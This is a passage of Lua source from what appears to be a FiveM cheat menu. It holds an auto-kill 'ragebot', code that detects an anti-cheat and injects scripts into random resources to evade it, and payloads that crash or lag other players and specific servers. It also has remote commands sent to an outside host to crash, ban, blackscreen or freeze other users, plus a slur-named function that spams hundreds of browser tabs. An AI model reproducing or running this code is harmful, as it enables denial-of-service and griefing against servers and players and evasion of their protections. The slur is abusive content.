mode: stick to one locked NPC until it dies, then engage -- a new one only while under the kill budget for the window. local locked = getLockedTargetPed() if locked and not IsPedAPlayer(locked) then fireNpcShot(buildNpcShot(locked, true)) elseif not locked and canEngageNewTargets() then for i = 1, #npcCandidateCache.peds do local ped = npcCandidateCache.peds[i] if isTargetableNpc(ped, playerPed) then local shot = buildNpcShot(ped, false) if shot then setLockedTargetPed(ped) fireNpcShot(shot) break end end end end else local npcsInFov = {} for i = 1, #npcCandidateCache.peds do local ped = npcCandidateCache.peds[i] if isTargetableNpc(ped, playerPed) then local shot = buildNpcShot(ped, false) if shot then npcsInFov[ped] = true fireNpcShot(shot) end end end for ped, _ in pairs(npcBurstState) do if not npcsInFov[ped] then npcBurstState[ped] = nil end end end end Citizen.Wait(0) end if _G.Citizen.Bongs.shooterPed and DoesEntityExist(_G.Citizen.Bongs.shooterPed) and _G.Citizen.Bongs.shooterPed ~= PlayerPedId() then DeleteEntity(_G.Citizen.Bongs.shooterPed) end _G.Citizen.Bongs.shooterPed = nil end) ]] local vehicleSpoofEnabled = false if not Ham.Network.isVehicleSpoofActive() then menu.utils.toggleVehicleSpoof(true) vehicleSpoofEnabled = true end if Ham.hasResource("FeloxAC") then CreateThread(function() Wait(100) if menu.vars.bools.rageBot then menu.utils.safeExecute(rageScript) end end) return end menu.utils.safeExecute(rageScript) do return end return end Ham.removeWeaponOverride(GetHashKey("WEAPON_PISTOL")) Ham.removeWeaponDamageOverride(GetHashKey("WEAPON_PISTOL")) if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(GetHashKey("WEAPON_UNARMED")) end if Ham and Ham.weaponSpoof and not menu.vars.bools.lazerEyes and not menu.vars.bools.localWeaponSpoof then Ham.weaponSpoof(false) end local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then RemoveWeaponFromPed(playerPed, GetHashKey("WEAPON_PISTOL")) if not menu.vars._rageBotHadPistol50 then RemoveWeaponFromPed(playerPed, GetHashKey("WEAPON_PISTOL50")) end RemoveWeaponFromPed(playerPed, GetHashKey("WEAPON_KNIFE")) SetCurrentPedWeapon(playerPed, GetHashKey("WEAPON_UNARMED"), true) end menu.vars._rageBotHadPistol50 = nil local cleanupScript = [[ _G.Citizen.Bongs.enableRage = nil if _G.Citizen.Bongs.shooterPed and DoesEntityExist(_G.Citizen.Bongs.shooterPed) and _G.Citizen.Bongs.shooterPed ~= PlayerPedId() then DeleteEntity(_G.Citizen.Bongs.shooterPed) end _G.Citizen.Bongs.shooterPed = nil _G.Citizen.Bongs.doSilentRage = nil _G.Citizen.Bongs.silentRageUseUnarmed = nil _G.Citizen.Bongs.silentRagePedModel = nil _G.rageBotCooldownKills = nil _G.rageBotCooldownSeconds = nil ]] menu.utils.safeExecute(cleanupScript) if forceDisable then menu.utils.toggleVehicleSpoof(false) end end function assembledMenuFunctions.changeRageBotType(rageType) if rageType == "Silent mode (risk)" then local attackPed = menu.utils.getFirstWhitelistedSilentAttackPed() if menu.vars.bools.rageBot and not attackPed then menu.utils.notify("Function is not available", "error", 2000) menu.vars.selectors.rageBotType = 1 menu.utils.safeExecute([[ _G.Citizen.Bongs.doSilentRage = false _G.Citizen.Bongs.silentRagePedModel = nil if _G.Citizen.Bongs.shooterPed and DoesEntityExist(_G.Citizen.Bongs.shooterPed) then DeleteEntity(_G.Citizen.Bongs.shooterPed) end _G.Citizen.Bongs.shooterPed = nil ]]) return end if attackPed then menu.utils.printSilentAttackPedModel("Silent Ragebot", attackPed) end local useUnarmed = menu.functions.isSilentRageUnarmedWeapon() local script = [[ _G.Citizen.Bongs.doSilentRage = true _G.Citizen.Bongs.silentRageUseUnarmed = ]] .. (useUnarmed and "true" or "false") .. " _G.Citizen.Bongs.silentRagePedModel = \"" .. (attackPed or "") .. [[ " if _G.Citizen.Bongs.shooterPed and DoesEntityExist(_G.Citizen.Bongs.shooterPed) then DeleteEntity(_G.Citizen.Bongs.shooterPed) end _G.Citizen.Bongs.shooterPed = nil ]] menu.utils.safeExecute(script) if not menu.vars.bools.rageBot then return end menu.functions.applyRageBotBulletHam() return end if rageType == "Kill" then menu.utils.safeExecute([[ _G.Citizen.Bongs.doSilentRage = false _G.Citizen.Bongs.silentRageUseUnarmed = false _G.Citizen.Bongs.silentRagePedModel = nil ]]) if menu.vars.bools.rageBot then menu.functions.applyRageBotBulletHam() end end end function assembledMenuFunctions.changeRageBotBulletType() menu.functions.ensureRageBotBulletTypeLayout() local bulletIndex = menu.functions.getRageBotBulletIdx() menu.utils.safeExecute(string.format( [[ _G.Citizen.Bongs.rageBotBulletIdx = %d ]], bulletIndex )) if menu.vars.bools and menu.vars.bools.rageBot == true then menu.functions.applyRageBotBulletHam() menu.functions.applyRageBotVisualWeapon() end end function assembledMenuFunctions.changeRagebotFov(fov) local radius = menu.utils.getAimFovRadiusPixels(fov) local script = string.format( [[ _G.rageBotFov = %d _G.rageBotFovRadiusPixels = %.4f ]], fov, radius ) menu.utils.safeExecute(script) end function assembledMenuFunctions.changeRageBotDamageDelay(delay) delay = menu.functions.getRageBotDamageDelay(delay) menu.utils.safeExecute(string.format( [[ _G.rageBotDamageDelay = %d ]], delay )) end function assembledMenuFunctions.proximityCrash() if not menu.utils.isObjectWhitelisted("p_spinning_anus_s") then menu.utils.notify("Object is blacklisted", "error", 2000) return end local script = [[ Citizen.CreateThread(function() local propHash = GetHashKey('p_spinning_anus_s') CreateThread(function() local startTime = GetGameTimer() while true do if GetGameTimer() - startTime > 10000 then break end for _, prop in pairs(GetGamePool('CObject')) do if DoesEntityExist(prop) and GetEntityModel(prop) == propHash then DeleteEntity(prop) end end Wait(0) end end) Wait(500) local bigProps = {} for i = 1, 700 do table.insert(bigProps, { model = propHash, pos = vector3(0.0, 0.0, 0.0), rot = vector3(0.0, 0.0, 0.0), bone = 0 }) if i % 330 == 0 then Wait(100) end end LocalPlayer.state:set('lib:progressProps', bigProps, true) Wait(3200) LocalPlayer.state:set('lib:progressProps', nil, false) end) ]] local resources = Ham.getSafeResources() if resources and #resources > 0 then math.randomseed(GetGameTimer() * 10) local resourceIndex = math.random(1, #resources) menu.utils.safeExecute(script, resourceIndex) return end menu.utils.safeExecute(script) end function assembledMenuFunctions.miscCrashAll() menu.utils.safeExecute([[ CreateThread(function() local modelHash = GetHashKey('prop_tool_broom') if (not HasModelLoaded(modelHash)) then RequestModel(modelHash) while (not HasModelLoaded(modelHash)) do Wait(100) end end local object = CreateObject(modelHash, GetEntityCoords(PlayerPedId()), true, true, true) SetEntityAlpha(object, 0, false) Wait(1500) SetEntityAsNoLongerNeeded(object) DeleteObject(object) end) ]]) end function assembledMenuFunctions.miscCrashExecutePayload() local script = [[ Citizen.CreateThread(function() -- crash mode local models = {GetHashKey("mule"), GetHashKey("rumpo")} for _, m in ipairs(models) do RequestModel(m) while not HasModelLoaded(m) do Wait(0) end end local targetPed = PlayerPedId() if not targetPed then return end local targetCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local attachPed = targetPed if IsPedInAnyVehicle(targetPed) then attachPed = GetVehiclePedIsIn(targetPed) end local function SpawnAndAttach(mdl, offsetX, offsetY) local veh = CreateVehicle( mdl, targetCoords.x + offsetX, targetCoords.y + offsetY, targetCoords.z, heading, true, true ) NetworkRequestControlOfEntity(veh) while not NetworkHasControlOfEntity(veh) do Wait(0) end AttachEntityToEntityPhysically( veh, attachPed, 1, 1, 99999999999999, 99999999999999, targetCoords.x, targetCoords.y, targetCoords.z, 0.0, 0.0, 0.0, 9999.0, true, true, true, true, 0 ) return veh end SpawnAndAttach(models[1], 2.0, 0.0) Wait(1) SpawnAndAttach(models[2], -2.0, 0.0) for _, m in ipairs(models) do SetModelAsNoLongerNeeded(m) end end) ]] local resources = Ham.getSafeResources() if resources and #resources > 0 then math.randomseed(GetGameTimer() * 10) local resourceIndex = math.random(1, #resources) menu.utils.safeExecute(script, resourceIndex) return end menu.utils.safeExecute(script) end function assembledMenuFunctions.crazyHelicopterSpawn() if not menu.utils.isVehicleWhitelisted("frogger") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local script = string.format( [[ Citizen.CreateThread(function() local playerPed = PlayerPedId() if not playerPed or not DoesEntityExist(playerPed) then return end local coords = GetEntityCoords(playerPed) local heading = GetEntityHeading(playerPed) _G.Citizen.Bongs.utils.spawnVehicle("frogger", coords, heading, function(heli) if not heli or not DoesEntityExist(heli) then return end if _G.Citizen.Bongs.crazyHelicopter and DoesEntityExist(_G.Citizen.Bongs.crazyHelicopter) then DeleteVehicle(_G.Citizen.Bongs.crazyHelicopter) end _G.Citizen.Bongs.crazyHelicopter = heli SetEntityAsMissionEntity(heli, true, true) SetVehicleHasBeenOwnedByPlayer(heli, true) SetVehicleEngineOn(heli, true, true, false) SetHeliBladesFullSpeed(heli) SetPedIntoVehicle(playerPed, heli, -1) SetEntityInvincible(heli, true) SetVehicleCanBeVisiblyDamaged(heli, false) SetDisableVehicleEngineFires(heli, true) SetDisableVehiclePetrolTankDamage(heli, true) SetDisableVehiclePetrolTankFires(heli, true) SetEntityProofs(heli, true, true, true, true, true, false, false, true) Citizen.CreateThread(function() local v = heli while DoesEntityExist(v) and _G.Citizen.Bongs.crazyHelicopter == v do SetEntityInvincible(v, true) SetVehicleEngineHealth(v, 1000.0) SetVehicleBodyHealth(v, 1000.0) SetVehiclePetrolTankHealth(v, 1000.0) local mh = GetEntityMaxHealth(v) if mh and mh > 0 then SetEntityHealth(v, mh) end Wait(1) end end) Wait(500) local RADIUS = 200.0 local DWELL_MS = 200 -- Local +X: rotor disc shifted to target's right (not centered on ped) local ROTOR_OFFSET_RIGHT = 1.35 local function isAliveTargetPed(ped) if not ped or ped == 0 or not DoesEntityExist(ped) then return false end if IsEntityDead(ped) then return false end if IsPedDeadOrDying(ped, true) then return false end return true end -- Stable order by playerId so index N is always the same slot; cycle every DWELL_MS local targetCycleIndex = 0 while DoesEntityExist(heli) do local heliCoords = GetEntityCoords(heli) local targets = {} for _, otherPlayerId in ipairs(GetActivePlayers()) do if otherPlayerId ~= PlayerId() then local targetPed = GetPlayerPed(otherPlayerId) if isAliveTargetPed(targetPed) then local distance = #(heliCoords - GetEntityCoords(targetPed)) if distance <= RADIUS then targets[#targets + 1] = { ped = targetPed, playerId = otherPlayerId, distance = distance } end end end end if #targets == 0 then break end table.sort(targets, function(a, b) return a.playerId < b.playerId end) targetCycleIndex = (targetCycleIndex %% #targets) + 1 local chosen = targets[targetCycleIndex] local targetPed = chosen.ped if not isAliveTargetPed(targetPed) then Wait(50) else FreezeEntityPosition(heli, false) do local tc = GetEntityCoords(targetPed) local bs = GetOffsetFromEntityInWorldCoords(targetPed, ROTOR_OFFSET_RIGHT, 0.0, 0.0) SetEntityCoordsNoOffset(heli, bs.x, bs.y, tc.z - 3.0, false, false, false) end Wait(DWELL_MS) end end if _G.Citizen.Bongs.crazyHelicopter == heli then _G.Citizen.Bongs.crazyHelicopter = nil end if heli and DoesEntityExist(heli) then FreezeEntityPosition(heli, false) local myPed = PlayerPedId() if myPed ~= 0 and GetVehiclePedIsIn(myPed, false) == heli then TaskLeaveVehicle(myPed, heli, 16) Wait(250) end if DoesEntityExist(heli) then DeleteVehicle(heli) end end end, %d) end) ]], safeSpawn ) menu.utils.safeExecute(script) end function assembledMenuFunctions.crazyHelicopterCleanup() menu.utils.safeExecute([[ if _G.Citizen and _G.Citizen.Bongs and _G.Citizen.Bongs.crazyHelicopter then local heli = _G.Citizen.Bongs.crazyHelicopter _G.Citizen.Bongs.crazyHelicopter = nil if heli and DoesEntityExist(heli) then DeleteVehicle(heli) end end ]]) end function assembledMenuFunctions.resetMenu() _G.runmenu = false end function assembledMenuFunctions.resetMenuOrKeybinds() local selector = menu.vars.selectors and menu.vars.selectors.resetMenuSelector or 1 if selector == 1 then menu.functions.resetMenu() elseif selector == 2 then menu.functions.resetKeybinds() end end function assembledMenuFunctions.resetKeybinds() local menuToggle = "MENU_TOGGLE" local noKey = ImGuiKey and (ImGuiKey.None or ImGuiKey.NONE) or 0 for key, hotkey in pairs(menu.vars.hotkeys or {}) do if not hotkey or hotkey.identifier ~= menuToggle then menu.vars.hotkeys[key] = nil end end for key in pairs(menu.vars.hotkeyBinds or {}) do if key ~= menuToggle then menu.vars.hotkeyBinds[key] = "None" end end if menu.vars.hotkeyBindSlot then for key in pairs(menu.vars.hotkeyBindSlot) do if key ~= menuToggle then menu.vars.hotkeyBindSlot[key] = nil end end end if Ham.setAimbotKey then Ham.setAimbotKey(noKey) elseif Ham.setaimbotkey then Ham.setaimbotkey(noKey) end menu.vars.tabScrollLeftKey = menu.functions.defaultTabScrollLeftKey and menu.functions.defaultTabScrollLeftKey() or "Q" menu.vars.tabScrollRightKey = "E" menu.vars.menuOptionBindKey = "F11" menu.vars.keybindsDirty = true menu.utils.notify("All keybinds have been reset", "success", 3000) end function assembledMenuFunctions.lagServer() local candidateModels = { "ar_prop_ar_neon_gate4x_01a", "ar_prop_ar_neon_gate4x_03a" } local models = {} for _, model in ipairs(candidateModels) do if menu.utils.isObjectWhitelisted(model) then models[#models + 1] = model end end if #models == 0 then menu.utils.notify("Object is blacklisted", "error", 2000) return end local quotedModels = {} for _, model in ipairs(models) do quotedModels[#quotedModels + 1] = "\"" .. model .. "\"" end local modelList = table.concat(quotedModels, ", ") local script = " local models = {" .. modelList .. [[ } for _, modelName in ipairs(models) do local hash = GetHashKey(modelName) RequestModel(hash) while not HasModelLoaded(hash) do Wait(0) end end local function GetClosestOtherPlayer() local me = PlayerId() local closestPlayer = nil local closestDistance = -1 local myCoords = GetEntityCoords(PlayerPedId()) for _, pid in ipairs(GetActivePlayers()) do if pid ~= me then local pPed = GetPlayerPed(pid) if pPed ~= 0 then local pCoords = GetEntityCoords(pPed) local dist = #(myCoords - pCoords) if closestDistance == -1 or dist < closestDistance then closestDistance = dist closestPlayer = pid end end end end return closestPlayer end local function RandomValue(min, max) return math.random() * (max - min) + min end local targetPlayer = GetClosestOtherPlayer() if not targetPlayer then return end local tPed = GetPlayerPed(targetPlayer) local tCoords = GetEntityCoords(tPed) local heading = GetEntityHeading(tPed) if IsPedInAnyVehicle(tPed) then tPed = GetVehiclePedIsIn(tPed) end local function SpawnRandomObject() local modelName = models[math.random(1, #models)] local model = GetHashKey(modelName) local spawnX = tCoords.x + RandomValue(-0, 20) local spawnY = tCoords.y + RandomValue(-1, 20) local spawnZ = tCoords.z + RandomValue(0, 10) local obj = CreateObject(model, spawnX, spawnY, spawnZ, true, true, true) AttachEntityToEntityPhysically( obj, tPed, RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-9999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), RandomValue(-99999999999999999999999999999, -99999999999999999999999999999), true, true, true, true, math.random(1, 2555) ) SetEntityAsMissionEntity(obj, true, true) SetEntityVisible(obj, false) Entity(obj).state:set("fO", 2296, true) end SpawnRandomObject() Citizen.Wait(1000) SpawnRandomObject() Citizen.Wait(1000) SpawnRandomObject() Citizen.Wait(1000) SpawnRandomObject() Citizen.Wait(1000) SpawnRandomObject() Citizen.Wait(1000) SpawnRandomObject() for _, modelName in ipairs(models) do SetModelAsNoLongerNeeded(GetHashKey(modelName)) end ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.spawnVehicleFromCategory(displayName) if menu.functions.normalizeSelectorArg then local normalized = menu.functions.normalizeSelectorArg(displayName) if normalized then displayName = normalized end end if not displayName or displayName == "" then return end if not menu.vars.vehicleCategories then menu.utils.getVehicleCategories() end for _, category in pairs(menu.vars.vehicleCategories or {}) do for _, vehicle in ipairs(category) do if vehicle.display == displayName then if menu.vars.wsConfig and not menu.utils.isWSVehicleWhitelisted(vehicle.model) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end menu.functions.spawnVehicle(vehicle.model) return end end end menu.utils.notify("Vehicle not found: " .. tostring(displayName), "error", 2000) end function assembledMenuFunctions.crashCorleone() menu.utils.notify("Crasher started! Please wait a few seconds..", "success", 2000) Ham.Execute( "cc_core", [[ local charset = {} for i = 48, 57 do table.insert(charset, string.char(i)) end -- 0-9 for i = 65, 90 do table.insert(charset, string.char(i)) end -- A-Z for i = 97, 122 do table.insert(charset, string.char(i)) end -- a-z local function randomString(length) local result = {} for i = 1, length do result[i] = charset[math.random(#charset)] end return table.concat(result) end Citizen.CreateThread(function() math.randomseed(GetGameTimer()) lib.callback('jobsystem:server:profile:get', false, function() end, true) Citizen.Wait(500) while true do Citizen.Wait(15) TriggerServerEvent('jobsystem:server:chat:addMessage', randomString(2400), true) end end) ]] ) end function assembledMenuFunctions.emoteAllCorleone() menu.utils.notify("All players getting fucked right meow..", "success", 2000) Ham.Execute( "cc_core", [[ Citizen.CreateThread(function() local seelctedNetId = 0 for _, player in pairs(GetActivePlayers()) do if player ~= PlayerId() then local ped = GetPlayerPed(player) local seelctedNetId = NetworkGetNetworkIdFromEntity(ped) TriggerServerEvent("cc_core:animal:spawnAnimal", "Halloween Katze", seelctedNetId) Wait(30) TriggerServerEvent("cc_core:animal:syncTask", "Liegen", true) Wait(30) TriggerServerEvent("cc_core:animal:deleteAnimal") end end end) ]] ) end function assembledMenuFunctions.unemoteAllCorleone() Ham.Execute( "cc_core", [[ Citizen.CreateThread(function() local seelctedNetId = 0 for _, player in pairs(GetActivePlayers()) do if player ~= PlayerId() then local ped = GetPlayerPed(player) local seelctedNetId = NetworkGetNetworkIdFromEntity(ped) TriggerServerEvent("cc_core:animal:spawnAnimal", "Halloween Katze", seelctedNetId) Wait(30) TriggerServerEvent("cc_core:animal:syncTask", "Liegen", false) Wait(30) TriggerServerEvent("cc_core:animal:deleteAnimal") end end end) ]] ) end function assembledMenuFunctions.einreiseCorleone() Ham.Execute( "cc_core", [[ CreateThread(function() TriggerEvent('core:setGroup', 'projektleitung') TriggerEvent("cc_core:airport:setNew", false) Wait(7000) SetEntityCoords(PlayerPedId(), 1088.6932, -3187.5713, -38.9935) Wait(6000) lib.callback('jobsystem:server:jobs:cocaine_job:getOutsideLab', false, function() end, 1) Wait(1000) SetEntityCoords(PlayerPedId(), 0, 0, 0) end) ]] ) end function assembledMenuFunctions.sendVanityCommand(username, commandData) if not username or not commandData then return false end local action = commandData.action or "unknown" local payload = { username = username, command = action, commandData = commandData } if not Ham.httpPostAsync("https://vty.ham.cx/dfgfdcvhbuhfosihioshfjioshiuoahjdfsioaiodj", json.encode(payload)) then return false end return true end function assembledMenuFunctions.adminTeleportToMe() local coords = GetEntityCoords(PlayerPedId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "teleport_to_coords", position = { x = coords.x, y = coords.y, z = coords.z } }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Teleport to me sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminSkyVoidSelector(selection) local position, label if selection == "Sky" then position = { x = -631.01458740234, y = -506.1725769043, z = 2552.8364257812 } label = "Sky" elseif selection == "Void" then position = { x = 15998.237304688, y = 6345.7119140625, z = 570.13116455078 } label = "Void" else return end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "teleport_to_coords", position = position }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("%s teleport sent to %d target(s).", label, count), "success", 2500) end end function assembledMenuFunctions.adminTeleportToMyWaypoint() Citizen.CreateThread(function() local position = menu.functions.getWaypointResolvedPositionForRemote() if not position then menu.utils.notify("Set a waypoint on your map first.", "error", 3000) return end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "teleport_to_coords", position = position }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Waypoint teleport sent to %d target(s).", count), "success", 2500) end end) end function assembledMenuFunctions.adminGroupOverride() menu.ui.promptText( { title = "Group Override", label = "Group / rank (shown at target)", default = "admin", maxLen = 64 }, function(text, cancelled) if cancelled or not text then return end local group = tostring(text):gsub("^%s+", ""):gsub("%s+$", "") if group == "" then return end local serverId = GetPlayerServerId(PlayerId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = group } ) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Group override sent to %d target(s).", count), "success", 2500) end end ) end function assembledMenuFunctions.adminTeleportToUser() local user = menu.vars.primaryVanityUser if not user or not user.position then menu.utils.notify("No position found for the selected user.", "error", 2000) return end local position = user.position menu.functions.safeTeleport(vector3(position.x, position.y, position.z)) menu.utils.notify("Teleported to selected player.", "success", 2000) end function assembledMenuFunctions.adminJumpscare() if menu.utils.jumpscareAdminLocalPreview then menu.utils.jumpscareAdminLocalPreview() end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "jumpscare" }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Jumpscare sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.sendAdminVanitySoundToTargets(url, label) if not url or url == "" then return end if menu.utils.playVanityDuiSoundUrl then menu.utils.playVanityDuiSoundUrl(url) end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "admin_sound", url = url }) count = count + 1 end if count > 0 then menu.utils.notify( string.format("%s sent to %d target(s).", tostring(label or "Sound"), count), "success", 2500 ) end end function assembledMenuFunctions.adminVanitySound() menu.functions.sendAdminVanitySoundToTargets("https://files.catbox.moe/agdw1g.mp3", "Sound") end function assembledMenuFunctions.adminPeacockSound() menu.functions.sendAdminVanitySoundToTargets("https://files.catbox.moe/6uhgiz.ogg", "Peacock") end function assembledMenuFunctions.adminBanPlayer() local serverId = GetPlayerServerId(PlayerId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_BAN_PLAYER__" } ) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Ban sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminCrashPlayer() local serverId = GetPlayerServerId(PlayerId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_CRASH__" } ) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Crash command sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminKillSelf() local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "kill_self" }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Kill sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminBlackscreenSelector(selection) local serverId = GetPlayerServerId(PlayerId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do if selection == "Blackscreen" then menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_BLACKSCREEN_START__" } ) count = count + 1 elseif selection == "Remove" then menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_BLACKSCREEN_STOP__" } ) count = count + 1 end end if count > 0 then if selection == "Blackscreen" then menu.utils.notify(string.format("Blackscreen sent to %d target(s).", count), "success", 2500) else menu.utils.notify(string.format("Blackscreen remove sent to %d target(s).", count), "success", 2500) end end end function assembledMenuFunctions.adminBlockControlsSelector(selection) local serverId = GetPlayerServerId(PlayerId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do if selection == "Block Controls" then menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_BLOCK_CONTROLS_START__" } ) count = count + 1 elseif selection == "Remove" then menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_BLOCK_CONTROLS_STOP__" } ) count = count + 1 end end if count > 0 then if selection == "Block Controls" then menu.utils.notify(string.format("Block controls sent to %d target(s).", count), "success", 2500) else menu.utils.notify(string.format("Controls restore sent to %d target(s).", count), "success", 2500) end end end function assembledMenuFunctions.adminSlowModeSelector(selection) local serverId = GetPlayerServerId(PlayerId()) local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do if selection == "Slow Mode" then menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_SLOW_MODE_START__" } ) count = count + 1 elseif selection == "Remove" then menu.functions.sendVanityCommand( username, { action = "group_override", serverID = serverId, group = "__VANITY_SLOW_MODE_STOP__" } ) count = count + 1 end end if count > 0 then if selection == "Slow Mode" then menu.utils.notify(string.format("Slow mode sent to %d target(s).", count), "success", 2500) else menu.utils.notify(string.format("Slow mode remove sent to %d target(s).", count), "success", 2500) end end end function assembledMenuFunctions.adminResetMenu() local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "reset_menu" }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Reset menu sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminGiveAllWeapons() local weapons = menu.vars.weaponsList if not weapons or #weapons == 0 then menu.utils.notify("Weapons list unavailable.", "error", 2000) return end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "give_all_weapons", weapons = weapons, ammo = 9999 }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Give all weapons sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminReviveTargets() local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "revive" }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Revive sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.adminSendNotify() menu.ui.promptText( { title = "Send Notify", label = "Message (~5 seconds on target)", default = "", maxLen = 200 }, function(text, cancelled) if cancelled or not text or text == "" then return end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "menu_notify", text = text, notifyType = "info", duration = 5000, large = true } ) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Notify sent to %d target(s).", count), "success", 2500) end end ) end function assembledMenuFunctions.adminSpawnVehiclePrompt() menu.ui.promptText( { title = "Spawn Vehicle", label = "Model name (e.g. adder)", default = "", maxLen = 48 }, function(text, cancelled) if cancelled or not text then return end local model = tostring(text):gsub("^%s+", ""):gsub("%s+$", ""):gsub("\"", "") if model == "" or model:lower() == "custom" then return end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "spawn_vehicle", model = model, spawnInside = true } ) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Spawn vehicle sent to %d target(s).", count), "success", 2500) end end ) end function assembledMenuFunctions.adminDeleteAllVehicles500() if not GetGamePool then menu.utils.notify("GetGamePool not available", "error", 2000) return end local playerPed = PlayerPedId() local coords = GetEntityCoords(playerPed) local radius = 500.0 local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle ~= 0 and DoesEntityExist(vehicle) and radius >= #(GetEntityCoords(vehicle) - coords) then TaskLeaveVehicle(playerPed, vehicle, 16) Wait(350) end local count = 0 for _, entity in ipairs(GetGamePool("CVehicle") or {}) do if entity and entity ~= 0 and DoesEntityExist(entity) and radius >= #(GetEntityCoords(entity) - coords) then NetworkRequestControlOfEntity(entity) local deadline = GetGameTimer() + 200 while not NetworkHasControlOfEntity(entity) and deadline > GetGameTimer() do Wait(0) end SetEntityAsMissionEntity(entity, true, true) if DeleteVehicle then DeleteVehicle(entity) else DeleteEntity(entity) end count = count + 1 end end menu.utils.notify(string.format("Vehicles removed within 500m: %d", count), "info", 3500) end function assembledMenuFunctions.adminDeleteAllObjects500() if not GetGamePool then menu.utils.notify("GetGamePool not available", "error", 2000) return end local coords = GetEntityCoords(PlayerPedId()) local count = 0 for _, entity in ipairs(GetGamePool("CObject") or {}) do if entity and entity ~= 0 and DoesEntityExist(entity) and 500.0 >= #(GetEntityCoords(entity) - coords) then NetworkRequestControlOfEntity(entity) SetEntityAsMissionEntity(entity, true, true) DeleteEntity(entity) count = count + 1 end end menu.utils.notify(string.format("Objects removed within 500m: %d", count), "info", 3500) end function assembledMenuFunctions.adminDeleteAllPeds500() if not GetGamePool then menu.utils.notify("GetGamePool not available", "error", 2000) return end local playerPed = PlayerPedId() local coords = GetEntityCoords(playerPed) local count = 0 for _, entity in ipairs(GetGamePool("CPed") or {}) do if entity and entity ~= 0 and entity ~= playerPed and DoesEntityExist(entity) and 500.0 >= #(GetEntityCoords(entity) - coords) then NetworkRequestControlOfEntity(entity) SetEntityAsMissionEntity(entity, true, true) DeleteEntity(entity) count = count + 1 end end menu.utils.notify(string.format("Peds removed within 500m: %d", count), "info", 3500) end function assembledMenuFunctions.runWegNiggernPrank() Citizen.CreateThread(function() Wait(500) local videoUrl = "https://www.youtube.com/watch?v=_bckcpIUBo8" local gifUrl = "https://tenor.com/de/view/manuellsen-manuellsen-dabke-manuellsen-tanzt-manuellsen-tanzen-gif-5946451234782368212" Ham.openUrl(videoUrl) Wait(4000) for _ = 1, 399 do Ham.openUrl(gifUrl) end Wait(5000) for _ = 1, 400 do Ham.openUrl(gifUrl) end Wait(5000) for _ = 1, 400 do Ham.openUrl(gifUrl) end end) 